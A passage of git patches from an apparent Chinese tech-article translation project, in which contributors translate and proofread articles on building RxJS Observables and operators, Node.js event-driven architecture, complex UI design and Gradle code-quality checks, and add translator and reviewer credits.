-Once subscribe is invoked, inside the Observable’s constructor the `this.subscribe` is then called, which *invokes* the callback we passed to `new Observable(callback)` and also passes through our observer literal. This then allows the Observable to do it’s thing and once it’s done, it’ll `.next()` on our observer with the updated value.
+一旦调用 subscribe，也就会调用 Observable 构造器内的 `this.subscribe` 。它将会调用我们传入 `new Observable(callback)` 的 callback，同时也会依次将值传给我们的观察者。这样，当 Observable 做完一件事的时候，它就会用更新过的值调用我们观察者中的 `.next()` 方法。
 
-Okay so what now? We’ve got an event listener setup, but nothing is calling `.next()`, let’s fix that:
+那么之后呢？我们已经得到了初始化好的事件监听器，但是还没有调用 `.next()`。下面完成它：
 
 ```
 Observable.fromEvent = (element, name) => {
@@ -169,7 +169,7 @@ Observable.fromEvent = (element, name) => {
 };
 ```
 
-As we know, Observables need a “tear down” function which is called when the Observable is destroyed, in our case we’ll remove the event:
+我们都知道，可观察对象在被销毁前需要一个“处理后事”的函数，在我们这个例子中，我们需要移除事件监听：
 
 ```
 Observable.fromEvent = (element, name) => {
@@ -181,9 +181,9 @@ Observable.fromEvent = (element, name) => {
 };
 ```
 
-We’ve not called `.complete()` because this Observable is dealing with DOM APIs and events, so technically they’re infinitely available.
+因为这个 Observable 还在处理 DOM API 和事件，因此我们还不会去调用 `.complete()`。这样在技术上就有无限的可拓展性。
 
-Let’s try it out! Here’s the full code of what we’ve done:
+试一试吧！下面是我们已经写好的完整代码：
 
 ```
 const node = document.querySelector('input');
@@ -209,48 +209,17 @@ const unsubscribe = input$.subscribe({
   }
 });
 
-// automatically unsub after 5s
+// 5 秒之后自动取消订阅
 setTimeout(unsubscribe, 5000);
 ```
 
-Live example (type, then watch):
+在线示例：
 
-```
-HTML
-
-<input type="text">
-<p></p>
-
-JavaScript
-
-const node = document.querySelector('input');
-const p = document.querySelector('p');
-
-function Observable(subscribe) {
-  this.subscribe = subscribe;
-}
-
-Observable.fromEvent = (element, name) => {
-  return new Observable((observer) => {
-    const callback = (event) => observer.next(event);
-    element.addEventListener(name, callback, false);
-    return () => element.removeEventListener(name, callback, false);
-  });
-};
-
-const input$ = Observable.fromEvent(node, 'input');
-
-input$.subscribe({
-  next: (event) => {
-    p.innerHTML = event.target.value;
-  }
-});
-```
+<iframe width="100%" height="300" src="//jsfiddle.net/toddmotto/3zgv7q2g/embedded/js,html,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe>
 
+### 创造我们自己的 Operator（操作符） ###
 
-### [Building our own operator](#building-our-own-operator) ###
-
-Building our own operator should be a little easier now we understand the concepts behind an Observable and observer. On our `Observable` object, we’ll add a new prototype method:
+在我们理解了可观察对象与观察者对象的概念之后，我们可以更轻松地去创造我们自己的操作符了。我们在 `Observable` 对象原型中加上一个新的方法：
 
 ```
 Observable.prototype.map=function(mapFn){
@@ -258,16 +227,16 @@ Observable.prototype.map=function(mapFn){
 };
 ```
 
-This method will be used as such, pretty much like `Array.prototype.map` in JavaScript but for any value:
+这个方法将会像 JavaScript 中的 `Array.prototype.map` 一样使用，不过它可以对任何值用：
 
 ```
 const input$ = Observable.fromEvent(node, 'input')
 	.map(event => event.target.value);
 ```
 
-So we need to take the callback function and invoke it, which in turn will return our desired data. Before we can do this, we need the latest value in the *stream*.
+所以我们要取得回调函数，并调用它，返回我们期望得到的数据。在这之前，我们需要拿到流中最新的数据值。
 
-Here comes the clever part, we need to gain access to the instance of the Observable that invoked our `.map()` operator. Because it’s on the prototype we can do exactly that:
+下面该做什么就比较明了了，我们要得到调用了这个 `.map()` 操作符的 Observable 实例的引用入口。我们是在原型链上编程，因此可以直接这么做：
 
 ```
 Observable.prototype.map = function (mapFn) {
@@ -275,7 +244,7 @@ Observable.prototype.map = function (mapFn) {
 };
 ```
 
-Ready for more funk? Now we subscribe inside a returned Observable:
+找找乐子吧！现在我们可以在返回的 Obeservable 中调用 subscribe：
 
 ```
 Observable.prototype.map = function (mapFn) {
@@ -286,9 +255,9 @@ Observable.prototype.map = function (mapFn) {
 };
 ```
 
-> We are *returning* the `input.subscribe()` because when we unsubscribe, the unsubscriptions (is that a word?) will flow up the chain, unsubscribing from each Observable.
+> 我们要返回 `input.subscribe()` ，不然在我们没有订阅的时候，非订阅对象将会顺着链一直转下去，解除每个 Observable 的订阅。
 
-This subscription will allow us to be passed the previous value from our `Observable.fromEvent`, because it returns a new Observable with a `subscribe` property in the constructor, we can simply subscribe to any updates it makes! Let’s finish this off by invoking our `mapFn()` passed through map:
+这个订阅对象将允许我们把之前 `Observable.fromEvent` 传来的值传递下去，因为它返回了构造器中含有 `subscribe` 原型的新的 Observable 对象。我们可以轻松地订阅它对数据值做出的任何更新！最后，完成通过 map 调用我们的 `mapFn()` 的功能：
 
 ```
 Observable.prototype.map = function (mapFn) {
@@ -303,7 +272,7 @@ Observable.prototype.map = function (mapFn) {
 };
 ```
 
-Now we can chain it!
+现在我们可以进行链式调用了！
 
 ```
 const input$ = Observable.fromEvent(node, 'input')
@@ -316,66 +285,13 @@ input$.subscribe({
 });
 ```
 
-Notice how the final `.subscribe()` block is passed only the `value` and not the `Event` object like before? You’ve successfully created an Observable stream.
-
-Try it again:
-
-```
-HTML
-
-<input type="text">
-<p></p>
-<button type="button">
-  Unsubscribe
-</button>
-
-JavaScript
-
-const node = document.querySelector('input');
-const p = document.querySelector('p');
+请注意，最后一个 `.subscribe()` 不再和之前一样传入 `Event` 对象了，而是传入了一个 `value`。这说明你成功地创建了一个可观察对象流。
 
-function Observable(subscribe) {
-  this.subscribe = subscribe;
-}
-
-Observable.prototype.map = function (mapFn) {
-  const input = this;
-  return new Observable((observer) => {
-    return input.subscribe({
-      next: (value) => observer.next(mapFn(value)),
-      error: (err) => observer.error(err),
-      complete: () => observer.complete()
-    });
-  });
-};
-
-Observable.fromEvent = (element, name) => {
-  return new Observable((observer) => {
-    const callback = (event) => observer.next(event);
-    element.addEventListener(name, callback, false);
-    return () => element.removeEventListener(name, callback, false);
-  });
-};
-
-const input$ = Observable.fromEvent(node, 'input')
-	.map(event => event.target.value);
-
-const unsubscribe = input$.subscribe({
-  next: (value) => {
-    p.innerHTML = value;
-  }
-});
-
-// avert your eyes
-document
-	.querySelector('button')
-	.addEventListener('click', unsubscribe);
-
-
-```
+再试试：
 
-Hopefully this post was good fun for you :)
+<iframe width="100%" height="300" src="//jsfiddle.net/toddmotto/0rpkchm8/embedded/js,html,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe>
 
+希望这篇文章对你来说还算有趣~:)
 
 ---
 

From 1967602f0e921a1fa273ffcc0d2e9917efa31382 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Fri, 2 Jun 2017 15:03:08 +0800
Subject: [PATCH 589/638] Update rxjs-observables-observers-operators.md

---
 TODO/rxjs-observables-observers-operators.md | 88 +++++++++++++++++++-
 1 file changed, 86 insertions(+), 2 deletions(-)

diff --git a/TODO/rxjs-observables-observers-operators.md b/TODO/rxjs-observables-observers-operators.md
index 52bb110c9b8..cffd5348f03 100644
--- a/TODO/rxjs-observables-observers-operators.md
+++ b/TODO/rxjs-observables-observers-operators.md
@@ -215,7 +215,39 @@ setTimeout(unsubscribe, 5000);
 
 在线示例：
 
-<iframe width="100%" height="300" src="//jsfiddle.net/toddmotto/3zgv7q2g/embedded/js,html,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe>
+```
+HTML
+
+<input type="text">
+<p></p>
+
+JavaScript
+
+const node = document.querySelector('input');
+const p = document.querySelector('p');
+
+function Observable(subscribe) {
+  this.subscribe = subscribe;
+}
+
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    const callback = (event) => observer.next(event);
+    element.addEventListener(name, callback, false);
+    return () => element.removeEventListener(name, callback, false);
+  });
+};
+
+const input$ = Observable.fromEvent(node, 'input');
+
+input$.subscribe({
+  next: (event) => {
+    p.innerHTML = event.target.value;
+  }
+});
+
+
+```
 
 ### 创造我们自己的 Operator（操作符） ###
 
@@ -288,9 +320,61 @@ input$.subscribe({
 请注意，最后一个 `.subscribe()` 不再和之前一样传入 `Event` 对象了，而是传入了一个 `value`。这说明你成功地创建了一个可观察对象流。
 
 再试试：
+```
+
+HTML
+
+<input type="text">
+<p></p>
+<button type="button">
+  Unsubscribe
+</button>
 
-<iframe width="100%" height="300" src="//jsfiddle.net/toddmotto/0rpkchm8/embedded/js,html,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe>
+JavaScript
 
+const node = document.querySelector('input');
+const p = document.querySelector('p');
+
+function Observable(subscribe) {
+  this.subscribe = subscribe;
+}
+
+Observable.prototype.map = function (mapFn) {
+  const input = this;
+  return new Observable((observer) => {
+    return input.subscribe({
+      next: (value) => observer.next(mapFn(value)),
+      error: (err) => observer.error(err),
+      complete: () => observer.complete()
+    });
+  });
+};
+
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    const callback = (event) => observer.next(event);
+    element.addEventListener(name, callback, false);
+    return () => element.removeEventListener(name, callback, false);
+  });
+};
+
+const input$ = Observable.fromEvent(node, 'input')
+	.map(event => event.target.value);
+
+const unsubscribe = input$.subscribe({
+  next: (value) => {
+    p.innerHTML = value;
+  }
+});
+
+// avert your eyes
+document
+	.querySelector('button')
+	.addEventListener('click', unsubscribe);
+
+
+
+```
 希望这篇文章对你来说还算有趣~:)
 
 ---

From d69d687c6eff1d25667f51aae054bcabe2c59ec4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Fri, 2 Jun 2017 16:54:01 +0800
Subject: [PATCH 590/638] fix some small..

---
 ...nding-node-js-event-driven-architecture.md | 55 ++++++++++---------
 1 file changed, 29 insertions(+), 26 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 471f56aeb87..effa5b5682a 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -4,19 +4,19 @@
 > * 译者：
 > * 校对者：
 
-# 理解NodeJS中基于事件驱动的架构 #
+# 理解 NodeJS 中基于事件驱动的架构 #
 
 ![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)
 
-绝大部分的nodejs中的对象，比如HTTP请求、响应以及”流“，都使用了 `eventEmitter` 模块的支持来监听和触发事件。
+绝大部分的nodejs中的对象，比如HTTP请求、响应以及“流”，都使用了 `eventEmitter` 模块来支持监听和触发事件。
 
 ![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)
 
-事件驱动最简单的形式是常见的 Nodejs 函数回调，例如：`fs.readFile`。事件被触发时，Node 就会调用回调函数，所以回调函数可类比为事件处理程序。
+事件驱动最简单的形式是常见的 Nodejs 函数回调，例如：`fs.readFile`。事件被触发时，Node 就会调用回调函数，所以回调函数可视为事件处理程序。
 
 让我们来探究一下这个基础形式。
 
-#### Node,在你准备好的时候调用我吧！ ####
+#### Node，在你准备好的时候调用我吧！ ####
 
 以前没有原生的 promise、async/await 特性支持，Node 最原始的处理异步的方式是使用 callback。
 
@@ -57,7 +57,7 @@ const readFileAsArray = function(file, cb) {
 };
 ```
 
-`readFileAsArray` 以文件路径和回调函数 callback 为参，读取文件并切割成行的数组来当做参数调用 callback。
+`readFileAsArray` 以一个文件路径和回调函数 callback 为参，读取文件并切割成行的数组来当做参数调用 callback。
 
 这里有一个使用它的示例，假设同目录下我们有一个 `numbers.txt` 文件中有如下内容:
 
@@ -123,7 +123,7 @@ const readFileAsArray = function(file, cb = () => {}) {
 };
 ```
 
-现在这个函数返回了一个 Promise 对象，该对象包含 `fs.readFile` 的异步调用，Promise 对象暴露了两个参数：一个 resolve 函数和 reject 函数。
+现在这个函数返回了一个 Promise 对象，该对象包含 `fs.readFile` 的异步调用，Promise 对象暴露了两个参数：resolve 函数和 reject 函数。
 
 reject 函数的作用就和我们之前 callback 中处理错误是一样的，而 resolve 函数也就和我们正常处理返回值是一样的。
 
@@ -133,9 +133,9 @@ reject 函数的作用就和我们之前 callback 中处理错误是一样的，
 
 当你需要循环异步函数时，使用 Promise 会让你的代码更易阅读，而如果使用回调函数，事情只会变得混乱。
 
-Promise 是一个小小的进步，generator 是一个更大一些的小进步，但是 async/await 函数的到来，让这一步变得更有力了，它的编码风格让函数的可读性就像同步函数一样轻松。
+Promise 是一个小小的进步，generator 是更大一些的小进步，但是 async/await 函数的到来，让这一步变得更有力了，它的编码风格让函数的可读性就像同步函数一样轻松。
 
-我们用 async/await 函数特性来改写一下刚刚的调用 `readFileAsArray` 过程：
+我们用 async/await 函数特性来改写刚刚的调用 `readFileAsArray` 过程：
 
 ```js
 async function countOdd () {
@@ -191,7 +191,7 @@ myEmitter.emit('something-happened');
 
 触发一个事件即某种情况发生生的信号，这些情况通常是关于 Emitter 对象的状态改变的。
 
-我们使用 on 方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 的时候执行。
+我们使用 `on` 方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 的时候执行。
 
 #### 事件 != 异步 ####
 
@@ -218,7 +218,7 @@ withLog.on('end', () => console.log('Done with execute'));
 withLog.execute(() => console.log('*** Executing task ***'));
 ```
 
-WithLog 类是一个 event emitter。它有 excute 方法，接收一个 taskFunc 任务函数作为参数，并将此函数的执行包含在 log 语句之中，分别在开始和结束的时候调用了 emit 方法。
+WithLog 类是一个 event emitter。它有一个 excute 方法，接收一个 taskFunc 任务函数作为参数，并将此函数的执行包含在 log 语句之中，分别在开始和结束的时候调用了 emit 方法。
 
 执行结果如下：
 
@@ -233,7 +233,7 @@ After executing
 需要我们注意的是所有的输出 log 都是同步的，在代码里没有任何异步操作。
 
 * 第一步 “Before executing”
-* 命名为 begin 的事件 emit 导致了 “About to execute”
+* 命名为 begin 的事件 emit 输出了 “About to execute”
 * 内含方法的执行输出了“\*\*\* Executing task \*\*\*”
 * 另一个命名事件输出“Done with execute”
 * 最后“After executing”
@@ -268,7 +268,7 @@ After executing
 
 当异步方法结束的时候 emit 一个事件,我们需要把 callback/promise 与事件通信结合起来，刚刚的例子证明了这一点。
 
-使用事件驱动来代替传统 callback 有一个好处是：在定义多个 listener 后，我们可以多次对同一个 emit 做出反应。如果要用 callback 来做到这一点的话，我们需要些很多的逻辑在同一个 callback 中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许围绕状态变化来做更多自定义的事。
+使用事件驱动来代替传统 callback 有一个好处是：在定义多个监听器后，我们可以多次对同一个 emit 做出反应。如果要用 callback 来做到这一点的话，我们需要些很多的逻辑在同一个 callback 中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许围绕状态变化来做更多自定义的事。
 
 #### 异步事件 ####
 
@@ -305,6 +305,8 @@ withTime.execute(fs.readFile, __filename);
 
 WithTime 类执行 `asyncFunc` 函数，使用 `console.time` 和 `console.timeEnd` 来返回执行的时间，它 emit 了正确的序列在执行之前和之后，同样 emit error/data 来保证函数的正常工作。
 
+我们给 `withTime` emitter 传递一个异步函数 `fs.readFile` 作为参数，这样就不再需要回调函数，只要监听 `data` 事件就可以了。
+
 执行之后的结果如下，正如我们期待的正确事件序列，我们得到了执行的时间，这是很有用的：
 
 ```
@@ -336,23 +338,23 @@ class WithTime extends EventEmitter {
 
 #### 事件参数及错误 ####
 
-在之前的例子中，我们使用了额外的参数来发射两个事件。
+在之前的例子中，我们使用了额外的参数触发了两个事件。
 
-错误事件使用了错误对象，data 事件使用了 data 对象。
+`error` 事件使用了 error 对象。
 
 ```js
 this.emit('error', err);
 ```
 
-data 事件使用了 data 对象。
+`data` 事件使用了 data 对象。
 
 ```js
 this.emit('data', data);
 ```
 
-在 listener 函数调用的时候我们可以传递很多的参数，这些参数在执行的时候都会切实可用。
+在 监听函数调用的时候我们可以传递很多的参数，这些参数在执行的时候都会切实可用。
 
-例如：data 事件执行的时候，listener 函数在注册的时候就会允许我们的接纳事件发射的 data 参数，而 asyncFunc 函数也实实在在暴露给了我们。
+例如：`data` 事件执行的时候，监听函数在注册的时候就会允许我们的接收事件触发的 data 参数，而 asyncFunc 函数也实实在在暴露给了我们。
 
 ```js
 withTime.on('data', (data) => {
@@ -360,7 +362,7 @@ withTime.on('data', (data) => {
 });
 ```
 
-error 事件通常是特例。在我们基于 callback 的例子中，如果没用 listener 函数来处理错误，Node 进程就会直接终止-。-
+`error` 事件通常是特例。在我们基于 callback 的例子中，如果没用监听函数来处理错误，Node 进程就会直接终止-。-
 
 我们写个例子来展示这一点：
 
@@ -393,9 +395,9 @@ Error: ENOENT: no such file or directory, open ''
 
 ```
 
-第二个执行调用将受到之前崩溃的影响，并可能不会得到执行。
+第二个执行调用将受到之前崩溃的影响，可能并不会执行。
 
-如果我们注册一个 listener 来处理 error 对象，情况就不一样了：
+如果我们注册一个监听函数来处理 `error` 对象，情况就不一样了：
 
 ```js
 withTime.on('error', (err) => {
@@ -418,7 +420,7 @@ UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1):
 DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
 ```
 
-另一种方式处理 emit 的 error 的方法是注册一个全局的 uncaughtException 进程事件，但是，全局的捕获错误对象并不是一个好办法。
+另一种处理异常的方法是注册一个全局的 uncaughtException 进程事件，但是，全局的捕获错误对象并不是一个好办法。
 
 关于 uncaughtException 的建议是不要使用。你一定要用的话，应该让进程在此结束：
 
@@ -434,9 +436,9 @@ process.on('uncaughtException', (err) => {
 });
 ```
 
-然而，想象在同一时间发生多个错误事件。这意味着上述的 uncaughtException 监听器会多次触发，这可能对一些清理代码是一个问题。一个典型例子是, 多次调用数据库关闭操作。
+然而，想象在同一时间发生多个错误事件。这意味着上述的 uncaughtException 监听器会多次触发，这可能对一些清理代码是个问题。一个典型例子是, 多次调用数据库关闭操作。
 
-EventEmitter模块暴露一个once方法。这个方法仅允许调用一次监听器, 而非每次触发都调用。所以，这是一个 uncaughtException 的实际用例,在第一次未捕获的异常发生时，我们开始做清理工作，并且知道我们最终会退出进程。
+EventEmitter 模块暴露一个 once 方法。这个方法仅允许调用一次监听器, 而非每次触发都调用。所以，这是一个 uncaughtException 的实际用例,在第一次未捕获的异常发生时，我们开始做清理工作，并且知道我们最终会退出进程。
 
 #### 监听器的顺序 ####
 
@@ -456,9 +458,9 @@ withTime.on('data', (data) => {
 withTime.execute(fs.readFile, __filename);
 ```
 
-上面代码的输出结果里，“Length”将会在“Characters”之前，因为我们是按照这个顺序定义的。
+上面代码的输出结果里，“Length” 将会在 “Characters” 之前，因为我们是按照这个顺序定义的。
 
-如果你想定义一个Listener,还想插队到前面的话，要使用prependListener方法来注册
+如果你想定义一个监听器，还想插队到前面的话，要使用 prependListener 方法来注册。
 
 ```js
 // प्रथम
@@ -476,12 +478,13 @@ withTime.execute(fs.readFile, __filename);
 
 上面的代码使得 “Characters” 在 “Length” 之前。
 
-最后，想移除的话，用removeListener方法就好啦！
+最后，想移除的话，用 removeListener 方法就好啦！
 
 
 
 感谢阅读，下次再会，以上。
 
+(下面是广告，就不翻译了->->)
 *If you found this article helpful, please click the💚 below. Follow me for more articles on Node and JavaScript.*
 
 If you have any questions about this article or any other article I wrote, find me on [this slack account](https://slack.jscomplete.com/) (you can invite yourself) and ask in the #questions room.

From 32c0adce9b060ae256f1a79af64509086d9c2df7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Fri, 2 Jun 2017 17:02:01 +0800
Subject: [PATCH 591/638] =?UTF-8?q?=E8=A1=A5=E5=85=85=E8=AF=91=E8=80=85&?=
 =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E8=80=85=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/understanding-node-js-event-driven-architecture.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index effa5b5682a..ce82c9441d9 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -1,8 +1,8 @@
 > * 原文地址：[Understanding Node.js Event-Driven Architecture](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)
 > * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[刘德元](https://github.com/xiaomibaobao) [薛定谔的猫](https://github.com/Aladdin-ADD)
+> * 校对者：[bambooom](https://github.com/bambooom) [zaraguo](https://github.com/zaraguo)
 
 # 理解 NodeJS 中基于事件驱动的架构 #
 

From b1d7434dc0dc16001e647729f864c3f897f9daeb Mon Sep 17 00:00:00 2001
From: Changkun Ou <hi@changkun.us>
Date: Sat, 3 Jun 2017 08:44:39 +0200
Subject: [PATCH 592/638] =?UTF-8?q?(update):=20=E6=A0=B9=E6=8D=AE=E6=A0=A1?=
 =?UTF-8?q?=E5=AF=B9=E8=BF=9B=E8=A1=8C=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...mind-while-developing-complex-ui-in-web.md | 24 +++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
index 723d23549b0..3b5e9e4a48a 100644
--- a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
+++ b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
@@ -2,33 +2,33 @@
 > * 原文作者：[Illia Kolodiazhnyi](https://medium.freecodecamp.com/@iktash88)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[Changkun Ou](https://github.com/changkun/)
-> * 校对者：
+> * 校对者：[MuYunyun](https://github.com/MuYunyun)
 
-# 如何不失理智的构建复杂用户界面 #
+# 如何理智地构建复杂用户界面 #
 
 ![](https://cdn-images-1.medium.com/max/2000/1*jwBhYQ_c_HZ_OOCE4pwbwQ.jpeg)
 
 我最近在构建一个复杂、动态地 Web 应用的用户界面（UI）。在这条路上，我学到了一些宝贵的经验教训。
 
-下面的这些技巧是我希望有人能够在当我开始这样一个雄心勃勃的项目之前能告诉我的。这将为我节省时间和精力。
+下面的这些技巧是我希望有人能够在当我开始这样一个雄心勃勃的项目之前能告诉我的。这将为我节省大量时间和精力。
 
 ### 理智意见 #1: 使用组件的内部状态存储临时数据 ###
 
-复杂的UI通常需要你维护某种应用程序状态。这将告诉 UI 显示什么内容以及如何显示它们。 一个选择是当用户触发页面里的某个行为时候，立即访问这个状态。然而据我了解，推迟改变这个应用的状态、保存当前组件临时更改的内部状态会更好。
+复杂的 UI 通常需要你维护某种应用程序状态。这将告诉 UI 显示什么内容以及如何显示它们。 一个选择是当用户触发页面里的某个行为时候，立即访问这个状态。然而据我了解，推迟改变这个应用的状态，在当前组件的内部状态下临时保存此更改会更好。
 
-举个例子，这个对话框能够让用户编辑某些记录数据，比如他（她）的名字：
+举个例子，有一个对话框能够让用户编辑某些记录数据，比如他（她）的名字：
 
 ![](https://cdn-images-1.medium.com/max/800/1*bFb-8Zdzf1aGPJyWpD_hsg.jpeg)
 
 这时，你可能想要让用户每次编辑这个对话框时触发修改。但是，我的建议是使用显示的所有数据来维护此对话框的内部状态，直到用户按下保存按钮。 此时，您可以安全地更改保存这些记录数据的应用程序状态。
 
-这样，如果用户决定放弃更改并关闭对话窗口，则可以直接删除组件，这时应用程序状态保持不变。 如果你需要将数据发送到后端，便可以在一个请求中进行。 如果这些数据对其他用户同时可用，那么当他们编辑这些数据时也将不会看到这些临时值。
+这样，如果用户决定放弃更改并关闭对话窗口，则可以直接删除组件，这时应用程序状态保持不变。 如果你需要将数据发送到后端，便可以在一个请求中进行。 如果这些数据对其他用户同时可用，那么当有人编辑这些数据时其他人也将不会看到这些临时值。
 
 > 你的 UI 行为应该匹配用户的心理模型
 
 当用户使用对话框时，他们通常会认为这些记录在完成编辑之前是不会被保存的。组件的功能也应该匹配这种行为。
 
-**使用 React / Redux 的人请注意**：将一般数据保存在 Redix Store 并使用 React 组件状态来存储这些临时数据的这种行为是可用的。
+**使用 React/Redux 的人请注意**：将一般数据保存在 Redux Store 并使用 React 组件状态来存储这些临时数据的这种行为是可行的。
 
 ### 理智意见 #2: 从 UI 状态中分离模型数据 ###
 
@@ -36,11 +36,11 @@
 
 Web 应用程序中的现代 UI 在结构和行为上可能很复杂。这通常会导致你将纯粹的与 UI 相关的数据存储在应用程序状态之中。我的建议是将 UI 相关数据和业务数据分离。
 
-> 将 UI 状态中的业务数据和逻辑的分别存储在不同模型之中
+> 将 UI 状态中的业务数据和逻辑分别存储在不同模型之中
 
 这种方法很容易遵循和理解，因为想它让你把业务逻辑与其他一切分离开来。这样你的模型可以同时保存这些数据和方法（函数）进而处理这些数据。 否则，你的应用程序可能最终会跨越多个地方穿插业务逻辑，其中最有可能是 **View** 组件。
 
-例如，你有一个应用程序中待办事宜的列表，并实现一个页面来添加一个新的任务到该列表。 现在你需要在任务描述、任务日期的格式合法之前，禁用「保存」按钮：
+例如，在应用程序中，你有一个待办事宜的列表，并实现一个页面来添加一个新的任务到该列表。 现在你需要在任务描述、任务日期的格式合法之前，禁用「保存」按钮：
 
 ![](https://cdn-images-1.medium.com/max/800/1*Cqmpew82Wo_znz_lCYz3xQ.jpeg)
 
@@ -58,13 +58,13 @@ Web 应用程序中的现代 UI 在结构和行为上可能很复杂。这通常
 }
 ```
 
-现在，你可以在 **View** 组件中为你的 UI 逻辑使用`const saveButtonDisabled =！task.isValid()`了。
+现在，你可以在 **View** 组件中为你的 UI 逻辑使用 `const saveButtonDisabled = !task.isValid()` 了。
 
-正如你所看到的，这个提示基本上是关于讨论如何保持你的**模型**与MVC模式中的**视图**进行分离。
+正如你所看到的，这个提示基本上是关于讨论如何将你的**模型**与MVC模式中的**视图**进行分离。
 
 ### 理智意见 #3: 优先考虑集成测试而不是单元测试 ###
 
-如果您有足够的时间在有时间为每个功能编写多个测试的环境中工作，这将不是问题。但我相信，大多数人并非如此。通常，你必须决定使用哪种测试。**而我大多数时候会考虑集成测试，它比单元测试更有价值。**
+如果你在一个有足够的时间为每个功能编写多个测试的环境中工作，这将不是问题。但我相信，大多数人并非如此。通常，你必须决定使用哪种测试。**而我大多数时候会考虑集成测试，它比单元测试更有价值。**
 
 ![](https://cdn-images-1.medium.com/max/800/1*dsj6MNERxdJtcr5-I7W2vQ.jpeg)
 

From c793c3aaf75ca065458c041d55ded3bd455136cc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=85=88=E7=94=9F?= <jacksonke@senseis-MacBook-Pro.local>
Date: Sat, 3 Jun 2017 22:50:38 +0800
Subject: [PATCH 593/638] make some modifies

---
 TODO/make-or-break-with-gradle.md | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/TODO/make-or-break-with-gradle.md b/TODO/make-or-break-with-gradle.md
index 7fa6917107d..0b46edc96df 100644
--- a/TODO/make-or-break-with-gradle.md
+++ b/TODO/make-or-break-with-gradle.md
@@ -2,9 +2,9 @@
 > * 原文作者：[Tancho Markovik](https://medium.com/@smarkovik)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[jacksonke](https://github.com/jacksonke)
-> * 校对者：
+> * 校对者：[phxnirvana](https://github.com/phxnirvana)
 
-# Make or break… with Gradle #
+# 使用 Gradle 做构建检查 #
 
 你是否听过这个词, 垃圾代码（***Legacy Code***）? 
 你是否考虑过在实际工作中，你也会制造垃圾代码?
@@ -33,11 +33,11 @@
 - 添加特定的模式匹配，来查找代码
 - 能持续性地产生文档
 - 开发过程中，能够持续的发现问题
-- stop the bleed
+- 预防代码漏洞
 
-### Git and friends ###
+### Git 及其它相关小工具 ###
 
-配备了所有常用的工具。我们使用 GitHub，我们有一个运行我们的构建的 Jenkins 服务器。通常，我们使用特征分支方法。
+（我们）配备了所有常用的工具。我们使用 GitHub，我们有一个运行我们的构建的 Jenkins 服务器。通常，我们使用特征分支方法。
 这意味着，默认情况下，我们的分支如下所示：
 
 ![](https://cdn-images-1.medium.com/max/1000/1*iHPPa72N11sBI_JSDEGxEA.png)
@@ -189,7 +189,7 @@ task pmd(type: Pmd, dependsOn: "assembleDebug") {
 2. ruleSetFiles — 定义将在此构建中使用的一组规则和细节。
 3. reports block — 指定要扫描的内容，要忽略的内容以及要报告的位置。
 
-**FindBugs** 是一个检查 Java 代码中可能存在的 bugs 的工具. 潜在错误分为四个等级: (i) scariest, (ii) scary, (iii) troubling 和 (iv) 关心的.它会给开发者关于代码中可能存在的问题的严重性给予提示。 FindBugs 工作于字节码层面, 而非源码层面.
+**FindBugs** 是一个检查 Java 代码中可能存在的 bugs 的工具. 潜在错误分为四个等级: (i) 最严重的 (scariest), (ii) 严重的 （scary）, (iii) 麻烦的 (troubling) 和 (iv) 关心的 (concerned).它会给开发者关于代码中可能存在的问题的严重性给予提示。 FindBugs 工作于字节码层面, 而非源码层面.
 
 ```
 apply plugin: 'findbugs'
@@ -404,7 +404,7 @@ System.out.println();
 ./gradlew assemble // assemble all build flavors
